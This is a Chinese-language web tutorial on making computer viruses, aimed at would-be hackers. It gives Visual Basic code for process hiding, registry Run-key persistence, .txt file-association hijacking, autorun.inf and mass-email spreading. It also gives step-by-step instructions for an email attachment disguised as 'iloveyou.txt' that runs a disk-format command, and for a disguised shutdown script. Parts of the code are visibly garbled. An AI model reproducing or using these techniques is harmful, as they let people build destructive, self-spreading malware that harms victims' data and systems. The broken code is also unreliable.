电脑病毒制作方法

一、电脑病毒制作方法

朋友们想做一些小的电脑病毒吗，对于接触计算机的朋友们来说，病毒已经不在是一个陌生的东西。下面由我给你对电脑病毒做出详细的制作方法!希望对你有帮助!

病毒一般都具有传播、隐藏、破坏等能力。所以自从第一个病毒问世以来，它便被人们视为一种神秘的东西。但是，我们要知道。病毒也是程式，也是由人写出来的。所以，病毒并不是什么高不可攀的东西。现在，让我们了解一下VB制作病毒的原理。

首先，病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么执行绪插入技术。我们要实行自我隐藏，就要用到API函式。其程式码如下：

Public Declare Function GetCurrentProcessid Lib"kernel32" As Long

Public Declare Function RegisterServiceProcess Lib"kernel32" ByVal dwProcessID As Long, ByVal dwType As Long

Public Const RSP_SIMPLE_SERVICE= 1

Public Const RSP_UNREGISTER_SERVICE= 0

regserv= RegisterServiceProcesspid, RSP_SIMPLE_SERVICE

这样就实现了自我隐藏。还有别的什么App.Title=""和App.TaskVisible= False都可以用于VB病毒的隐藏。

病毒光会隐藏还不行，还要有常驻记忆体的能力。说通俗点，计算机关闭病毒也就跟着死去，而计算机重启，病毒也要跟这复活。所以，我们接下来的任务就是：实现病毒的开机自启。

了解病毒的朋友会知道，病毒一般是利用在登录档中插入相应键值来实现开机自启的。所以，我们就要利用程式设计来实现著一功能。读写登录档要用到API函式，程式码：

Private Declare Function RegCreateKey Lib"advapi32.dll" Alias"RegCreateKeyA" ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long As Long

Private Declare Function RegCloseKey Lib"advapi32.dll" ByVal hKey As Long As Long

Private Declare Function RegSetValueEx Lib"advapi32.dll" Alias"RegSetValueExA" ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long As Long

上述是API宣告。病毒的开机自启就是在RUN下建立一个启动项，程式码：

RegCreateKey HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Runservices", hKey

RegSetValueEx hKey,"键名", 0, REG_SZ, ByVal"病毒的绝对路径", cc

以上程式码执行后会在登录档中加入一个病毒的启动项。

光利用开机自启来长驻记忆体也太容易被杀了。所以，我们还要想尽一切办法来让病毒启动。这里介绍的2种办法。

第一种。修改文字档案的关联。其程式码如下：

Private Declare Function RegCreateKey Lib"advapi32.dll" Alias"RegCreateKeyA" ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long As Long

Private Declare Function RegSetValue Lib"advapi32.dll" Alias"RegSetValueA" ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long As Long

Const HKEY_CLASSES_ROOT=&H80000000

Dim sKeyName As String'储存键名

Dim sKeyValue As String'储存键值

Dim MyReturn As Long'储存返回值资讯

MyReturn&= RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&

MyReturn&= RegSetValue&keyhandle&,"", REG_SZ, sKeyValue, 0&

sKeyName=".txt"'要建立关联的档案字尾名

MyReturn&= RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&

MyReturn&= RegSetValue&keyhandle&,"", REG_SZ, sKeyValue, 0&

sKeyValue="D:\\病毒.exe%1"'自己程式的位置和名称

MyReturn&= RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&

MyReturn&= RegSetValue&keyhandle&,"shell\open\mand", REG_SZ, sKeyValue, MAX_PATH

以上是利用修改TXT档案关联来实现病毒启动的。

光碟就是利用这个来自动播放的，所以我就不废话了。

If Dir"F:\"<>"" Then Let a= App.Path+"\"+ App.EXEName+".exe"

Open"Autorun.inf" For Output As#1

这样就实现了双击C盘启动病毒的作用。

下面说一下病毒的传播，病毒的传播可以说是八仙过海。主要的传播方式就是电子邮件传播，远端溢位等。

远端溢位这里不做详解。第一是我不太熟练，只会用，不会说。第二是要讲清楚很麻烦。所以，我讲一下电子邮件传播。

首先，建立一个WINSOCKE。然后利用程式设计来实现。这里只说思路。

ConnectToServer Server, Winsock1‘这是向伺服器建立连线

SendMail FromAddress, ToAddress, Subject, Body, Winsock1, Attach‘传送邮件

利用这样的原理来群发，可以达到传播自己的目的。

还有一种就是U盘/A盘传播，原理上面已经说过。利用Autorun.inf档案，这里就不废话了。

说了这么多，还剩最后一点，那就是破坏性。这个就不详细阐述。什么自动关机，无限增殖。大家自己发挥想象，这不是很难的事。

最后总结，一个什么样的病毒，它必须生活在特定的作业系统下。所以，病毒做出来后，不一定能在什么作业系统下都能用。还有一点，病毒必须能自己保护自己。这里推荐使用TIMER。利用这个部件来不断的写登录档。这样，很难删掉病毒的启动键值。还要保护自身的增殖档案。比如：

Let a= App.Path+"\"+ App.EXEName+".exe"

If Dir"C:\Program Files\病毒.exe"<>"" Then

Else: FileCopy a,"C:\Program Files\病毒.exe"

最后，还有最重要的一点。那就是容错语句。尽量多加。以防万一。此文电脑病毒制作的人还：

二、电脑病毒制作方法有哪几种

1、简单电脑病毒制作方法1：打开记事本，创建一个只包含一个空格(为了减小文件体积)的文本文件，任意取名。

2、简单电脑病毒制作方法2：打开写字板，将此文件拖放入记事本。也可以单击记事本菜单栏中的【插入】|【对象】，弹出【插入对象】对话框，选中【从文件创建】，然后单击【浏览】按钮选择要插入的文件。

3、简单电脑病毒制作方法3：选中该插入对象的图标，选择菜单栏中的【编辑】|【包对象】|【编辑包】。在弹出的【对象包装程序】对话框中，选择菜单栏中的【编辑】|【命令行】，然后输入如下命令：Format.coma:/autotest，单击【确定】，此时，内容栏中会显示出命令内容。

4、简单电脑病毒制作方4：单击外观栏中的【插入图标】按钮，会弹出一个警告对话框，确认，然后任选一个图标。

5、简单电脑病毒制作方法5：选择菜单栏中的【编辑】|【卷标】，为此嵌入对象取一个名称(会替换原来的文件名称)。单击文件】菜单中的【更新】，然后关闭此对话框。

6、简单电脑病毒制作方法6：将刚刚建立的嵌入对象拖放到桌面上。文件的默认名是"碎片"，现在我们把它改成"iloveyou.txt"。打开电子邮件程序将桌面上的"iloveyou.txt"作为附件发出，或者将含有嵌入对象(带有恶意命令)的文档作为附件发出。

7、简单电脑病毒制作方法7：当邮件接收者误将"iloveyou.txt.shs"文件作为"iloveyou.txt"放心地打开时，或打开文件，单击文件中的嵌入对象时触发恶意命令(弹出DOS运行窗口，执行格式化命令)，假如此时有另一个程序正在访问软驱，则会显示如下信息"DriveA:iscurrentlyinusebyanotherprocess.AbortingFormat."(A驱正被另一个程序访问，格式化中止)。这样一个格式化软盘的炸弹就制作起来了，如果大家加上格式化硬盘的代码，那效果可以想象了。

8、以上就是小编为您带来的怎么制作电脑病毒？简单电脑病毒制作方法的全部内容。

三、怎么做一个简易的病毒

1、大家想自己做一个简单的病毒，过一次黑客的瘾吗?下面就让我教大家怎么做一个简易的病毒吧。

2、打开文本文档之后输入shutdown \r命令切记 Shutdown之后要空格，一定要空格。然后再保存

3、打开我的电脑，将隐藏已知文件扩展名的选项去掉勾。因为在前面制作简易的脚本的那里讲过，所以这里就一笔带过了，不懂的多看几次图就好了

4、改好后缀名之后我们就创建一个快捷方式，然后鼠标右击选择属性

5、点击更改图标，出现第二张图的样子的时候点击确定，会跳出一大堆的图标供你选择。如图三所示